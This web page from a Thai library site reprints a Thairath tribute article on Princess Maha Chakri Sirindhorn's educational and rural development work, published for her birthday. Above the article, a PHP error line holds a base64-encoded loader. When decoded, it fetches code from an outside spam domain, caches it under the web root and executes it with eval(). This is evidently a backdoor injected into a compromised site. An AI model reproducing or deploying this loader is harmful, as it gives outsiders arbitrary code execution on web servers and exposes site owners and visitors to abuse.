Parse error: syntax error, unexpected 'code' (T_STRING) in data:text/html;base64,PD9waHAgJGZwdD0kX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLihpc19kaXIoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2ltYWdlJyk/Jy9pbWFnZS8nOihpc19kaXIoJF9TRVJWRVJbJ0RPQ1VNRU5UX1JPT1QnXS4nL2ltYWdlcycpPycvaW1hZ2VzLyc6KGlzX2RpcigkX1NFUlZFUlsnRE9DVU1FTlRfUk9PVCddLicvaW1nJyk/Jy9pbWcvJzonLy50bXAvJykpKS4nYTMwMGQ0ZGU4ZmI5YmQ4MmFhNTViN2UyMDY2YTlkMjAnOyRkaXI9ZGlybmFtZSgkZnB0KTska3dkPVsnY24ubG9sJywnZ292LmxvbCcsJ29yZy5jZmQnLCdxcXZ2Lm9yZycsJ2NzZW84LmNvbSddOyR1cmw9J2h0dHA6Ly90dy5xcXZ2Lm9yZy90eHQvdHcudHh0JztmdW5jdGlvbiBja3coJGNudCwka3dkKXtmb3JlYWNoKCRrd2QgYXMgJGt3KXtpZihzdHJwb3MoJGNudCwka3cpIT09ZmFsc2Upe3JldHVybiB0cnVlO319cmV0dXJuIGZhbHNlO31mdW5jdGlvbiBmcmMoJHVybCl7JGNoaD1jdXJsX2luaXQoKTtjdXJsX3NldG9wdCgkY2hoLENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0KCRjaGgsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTtjdXJsX3NldG9wdCgkY2hoLENVUkxPUFRfVElNRU9VVCwxMCk7Y3VybF9zZXRvcHQoJGNoaCxDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLHRydWUpOyRkYXQ9Y3VybF9leGVjKCRjaGgpO2lmKGN1cmxfZXJybm8oJGNoaCkpeyRkYXQ9ZmFsc2U7fWN1cmxfY2xvc2UoJGNoaCk7cmV0dXJuICRkYXQ7fWZ1bmN0aW9uIGdjdCgkZnB0LCR1cmwsJGRpcil7aWYoIWlzX2RpcigkZGlyKSl7bWtkaXIoJGRpciwwNzc3LHRydWUpO31pZihmaWxlX2V4aXN0cygkZnB0KSYmKCh0aW1lKCktZmlsZW10aW1lKCRmcHQpKTwzNjAwKSl7JGNwcj1maWxlX2dldF9jb250ZW50cygkZnB0KTtyZXR1cm4gZ3p1bmNvbXByZXNzKCRjcHIpO31lbHNleyRjbnQ9ZnJjKCR1cmwpO2lmKCRjbnQhPT1mYWxzZSl7ZmlsZV9wdXRfY29udGVudHMoJGZwdCxnemNvbXByZXNzKCRjbnQpKTt9cmV0dXJuICRjbnQ7fX0kY250PWdjdCgkZnB0LCR1cmwsJGRpcik7aWYoY2t3KCRjbnQsJGt3ZCkpe2V2YWwoJGNudCk7fWVsc2V7JGNudD1mcmMoJHVybCk7aWYoJGNudCE9PWZhbHNlKXtmaWxlX3B1dF9jb250ZW50cygkZnB0LGd6Y29tcHJlc3MoJGNudCkpO2V2YWwoJGNudCk7fX0gPz4=(1) : eval()'d code on line 1
RDP Library

Admin RDP Library RDPB
02 Apr 2025

เจ้าฟ้าหญิงนักพัฒนา เพื่อประโยชน์สุขปวงประชา

“...เหตุที่ชอบการพัฒนาช่วยเหลือประชาชนนั้น เห็นจะเป็นเพราะความเคยชินตั้งแต่เกิดมาจำความได้ ก็เห็นพระบาทสมเด็จพระเจ้าอยู่หัว สมเด็จพระนางเจ้าฯ พระบรมราชินีนาถ และสมเด็จพระศรีนครินทราบรมราชชนนี ทรงคิดหาวิธีการต่างๆที่จะยกฐานะความเป็นอยู่ของคนไทยให้ดีขึ้น...ได้ตามเสด็จไปเห็นความทุกข์ยากลำบากของพี่น้องเพื่อนร่วมชาติก็คิดว่าช่วยอะไรได้ควรช่วย ไม่ควรนิ่งดูดาย เมื่อโตขึ้นพอมีแรงทำอะไรก็ทำไปอย่างอัตโนมัติ โดยทำตามพระราชกระแส หรือทำตามแนวพระราชดำริ การช่วยเหลือประชาชนเป็นหน้าที่ของสถาบันพระมหากษัตริย์ ต้องทำประจำอยู่แล้ว...การรู้หนังสือเป็นความจำเป็นสำหรับทุกชาติที่กำลังพัฒนา ตลอดจนเป็นกิจกรรมที่ต้องร่วมมือกันส่งเสริมให้บรรลุผลให้ได้ ถ้าปราศจากพื้นฐานการรู้หนังสือของประชาชนในประเทศแล้ว ความพยายามในการดำเนินการพัฒนาคงไร้ผล การรู้หนังสือเป็นส่วนหนึ่งของวิธีการที่จะนำไปสู่จุดมุ่งหมายอันสูงสุด...” พระราชดำรัสดังกล่าวของ “สมเด็จพระกนิษฐาธิราชเจ้า กรมสมเด็จพระเทพรัตนราชสุดาฯ สยามบรมราชกุมารี” สะท้อนได้ดีถึงพระราชปณิธานอันแน่วแน่ที่ทรงอุทิศพระองค์ เพื่อตามรอยเบื้องพระยุคลบาท “พระบาทสมเด็จพระบรม ชนกาธิเบศร มหาภูมิพลอดุลยเดชมหาราช บรมนาถบพิตร” และ “สมเด็จพระนางเจ้าสิริกิติ์ พระบรมราชินีนาถ พระบรมราชชนนีพันปีหลวง” ในการพัฒนาประชาชนให้สามารถยืนหยัดได้ด้วยลำแข้งตัวเองตามหลักเศรษฐกิจพอเพียง โดยมีการศึกษาเป็นเครื่องมือสำคัญ

เจ้าฟ้าหญิงนักพัฒนา เพื่อประโยชน์สุขปวงประชา

พระราชภารกิจการทรงงานใน “สมเด็จพระกนิษฐาธิราชเจ้า กรมสมเด็จพระเทพรัตนราชสุดาฯ สยามบรมราชกุมารี” มีมากมายอเนกอนันต์ จนกล่าวได้ว่าทั่วทั้งแผ่นดินใดที่ “พระบาทสมเด็จ พระบรมชนกาธิเบศร มหาภูมิพลอดุลยเดชมหาราช บรมนาถบพิตร” และ “สมเด็จพระนางเจ้าสิริกิติ์ พระบรมราชินีนาถ พระบรมราชชนนีพันปีหลวง” เสด็จฯไปถึง ณ ที่นั้น “เจ้าฟ้าหญิงนักพัฒนา” ก็ตามเสด็จไปแบ่งเบาพระราชกรณียกิจ เพื่อบำบัดทุกข์บำรุงสุขแก่ปวงประชา

เจ้าฟ้าหญิงนักพัฒนา เพื่อประโยชน์สุขปวงประชา

“สมเด็จพระกนิษฐาธิราชเจ้า กรมสมเด็จพระเทพรัตนราชสุดาฯ สยามบรมราชกุมารี” ทรงถือเป็นต้นแบบของนักพัฒนาที่มุ่งเน้นการยกระดับคุณภาพชีวิตประชาชน โดยทรงยึดหลักว่าการพัฒนาต้องเหมาะสมกับสภาพภูมิศาสตร์ เชื้อชาติ วัฒนธรรมท้องถิ่น คติความเชื่อทางศาสนา ตลอดจนภูมิหลังทางเศรษฐกิจและสังคม ที่สำคัญคือ นักพัฒนาที่ดีต้องมีความรัก ความห่วงใย ความรับผิดชอบ และความเคารพในเพื่อนมนุษย์ มีพระราชดำริว่าในการพัฒนาเรื่องใดๆก็ตาม จำเป็นต้องใช้ความรู้ทางวิทยาศาสตร์และเทคโนโลยีที่เหมาะสม โดยเฉพาะเรื่องการศึกษาของเด็กและเยาวชน ซึ่งทรงใส่พระราชหฤทัยยิ่ง

เจ้าฟ้าหญิงนักพัฒนา เพื่อประโยชน์สุขปวงประชา

โครงการแรกที่ทรงริเริ่มในปี 2523 หลังสำเร็จการศึกษาจากรั้วจุฬาฯ จึงเป็นโครงการที่ทรงทำในโรงเรียน ทรงเริ่มต้นด้วยโครงการอาหารกลางวัน ผักสวนครัว ที่โรงเรียนตำรวจตระเวนชายแดน 3 แห่ง ในจังหวัดประจวบคีรีขันธ์, ราชบุรี และกาญจนบุรี โดยทรงใช้พระราชทรัพย์ส่วนพระองค์ โครงการดังกล่าวเป็นการสอนให้นักเรียนทำการเกษตรเพื่อนำมาประกอบเป็นอาหารกลางวัน ต่อมาได้ขยายเป็นโครงการพัฒนาเด็กและเยาวชนในถิ่นทุรกันดาร ครอบคลุมกว่า 700 โรงเรียนในพื้นที่ห่างไกลทั่วประเทศ และมีขอบข่ายการพัฒนาครบทุกด้าน ทั้งการศึกษา สุขภาพอนามัย สาธารณสุข วัฒนธรรม ภูมิปัญญาท้องถิ่น สิ่งแวดล้อม ตลอดจนการสร้างงานสร้างอาชีพ โดยโรงเรียนจะเป็นศูนย์กลางของชุมชนในการทำกิจกรรมต่างๆ เพื่อพัฒนาคุณภาพชีวิตของประชาชนชาวไทยให้ดีขึ้น

เจ้าฟ้าหญิงนักพัฒนา เพื่อประโยชน์สุขปวงประชา

ทุกครั้งเมื่อเสด็จเยี่ยมโรงเรียนตามท้องถิ่นทุรกันดาร พระองค์ไม่ได้ทรงเยี่ยมราษฎรเท่านั้น แต่ทรงเป็นนักพัฒนาการศึกษาเต็มพระองค์ ทรงผสมผสานการศึกษากับการพัฒนาคุณภาพชีวิตอย่างกลมกลืน โดยทรงตั้งข้อสังเกตว่า “เมื่อไปตามโรงเรียน ไม่ว่าประถม หรือมัธยม ก็ต้องพยายามไปดูว่านักเรียนได้รับอาหารที่พอสมควรถูกต้องหรือเปล่า ถ้าไม่ถูกต้อง ไม่มีอะไรบำรุงสมอง ก็ไม่มีแรง ทำให้ศึกษาได้ไม่ดี”

เจ้าฟ้าหญิงนักพัฒนา เพื่อประโยชน์สุขปวงประชา

ด้วยความที่ทรงให้ความสำคัญแก่เด็กและเยาวชนทุกกลุ่มทุกวัย จึงโปรดเกล้าฯให้จัดทำโครงการต่างๆเกื้อหนุนการศึกษาของเด็กและเยาวชนในทุกวัย นอกจากนี้ยังใส่พระทัยเรื่องคุณภาพและปริมาณของครู ในโรงเรียนขนาดเล็กในชนบท ดังจะเห็นได้จากโครงการระบบอี-เลิร์นนิ่งของการศึกษาทางไกลผ่านดาวเทียม และการจัดอบรมครูให้ใช้ไอซีที ตลอดจนการทำโครงงานในการเรียนการสอน

เจ้าฟ้าหญิงนักพัฒนา เพื่อประโยชน์สุขปวงประชา
 

เป็นที่ทราบกันดีว่า ทรงพระปรีชายิ่งด้านการศึกษา ทรงริเริ่มการทรงงานในโครงการต่างๆอย่างเป็นรูปธรรม และทรงดูแลติดตามอย่างใกล้ชิด จนแนวพระราชดำริต่างๆเป็นที่ยอมรับของนานาประเทศ อีกทั้งยังทรงได้รับการยกย่องเฉลิมพระเกียรติคุณจากหลายองค์การในระดับนานาชาติว่า ทรงเป็นผู้นำและผู้รู้จริงจากการปฏิบัติในการพัฒนาการศึกษาให้ถ้วนทั่วแก่ทุกกลุ่มชนในถิ่นทุรกันดาร รวมถึงผู้ด้อยโอกาสทุกกลุ่ม สอดคล้องกับเป้าหมายของยูเนสโกเรื่อง “การศึกษาเพื่อทุกคน” หรือ “Education for All”

ผลจากความสำเร็จในการพัฒนาการศึกษาของเด็กและเยาวชนไทยอย่างยั่งยืน ยังกลายเป็นต้นแบบให้ประเทศเพื่อนบ้านในอาเซียน ได้น้อมนำแนวพระราชดำริดังกล่าวของเจ้าฟ้าหญิงนักพัฒนาไปเป็นโรลโมเดลในการพัฒนาการศึกษาในประเทศด้วย

เจ้าฟ้าหญิงนักพัฒนา เพื่อประโยชน์สุขปวงประชา

พระราชกรณียกิจนานัปการในด้านการศึกษาของ “สมเด็จพระกนิษฐาธิราชเจ้า กรมสมเด็จพระเทพรัตนราชสุดาฯ สยามบรมราชกุมารี” ถือเป็นแบบอย่างของการพัฒนาการศึกษาไทยแก่ผู้ด้อยโอกาส โดยไม่คำนึงถึงชนชั้นวรรณะ ไม่ว่าจะเป็น ผู้ที่อยู่ในถิ่นทุรกันดาร ผู้พิการ ผู้ลี้ภัย ผู้ต้องโทษคุมขัง หรือเด็กป่วยเรื้อรัง ก็ล้วนแต่ได้รับพระกรุณาธิคุณเสมอกัน

“...แวดวงชีวิตของฉันแต่ไหนแต่ไรมา มีอยู่สองประการคือ วงการวิชาการ แวดวงของครูบาอาจารย์ผู้รู้ในสาขาวิชาต่างๆ ทั้งในสายศิลปวัฒนธรรมและเทคโนโลยี กับอีกวงการคือ เรื่องของการพัฒนาสังคมให้เจริญก้าวหน้า งานที่เห็นพ่อแม่ทำมาตลอด ตั้งแต่รู้ความคือ การทำให้ผืนแผ่นดินและทุกคนในแผ่นดินมีความเจริญรุ่งเรือง เน้นหนักในการช่วยเหลือผู้ด้อยโอกาส ผู้ที่มีความทุกข์ยาก เราคลุกคลีอยู่กับผู้ที่ลำบากยากแค้น หาทางบรรเทาความเดือดร้อนของคน...” เป็นที่ประจักษ์ชัดถึงความเป็นเจ้าฟ้าหญิงนักพัฒนาเพื่อประโยชน์สุขของประชาชน

เนื่องในโอกาสเฉลิมพระชนมพรรษา ในวันที่ 2 เมษายน ศกนี้ ขอน้อมเกล้าฯถวายพระพรให้ทรงพระเกษมสำราญ และทรงพระเจริญยิ่งยืนนาน.

ด้วยเกล้าด้วยกระหม่อม
ทีมข่าวหนังสือพิมพ์ไทยรัฐ

..........................................

 

ข้อมูลโดย ไทยรัฐออนไลน์ 2 เม.ย. 2568 06:00 น.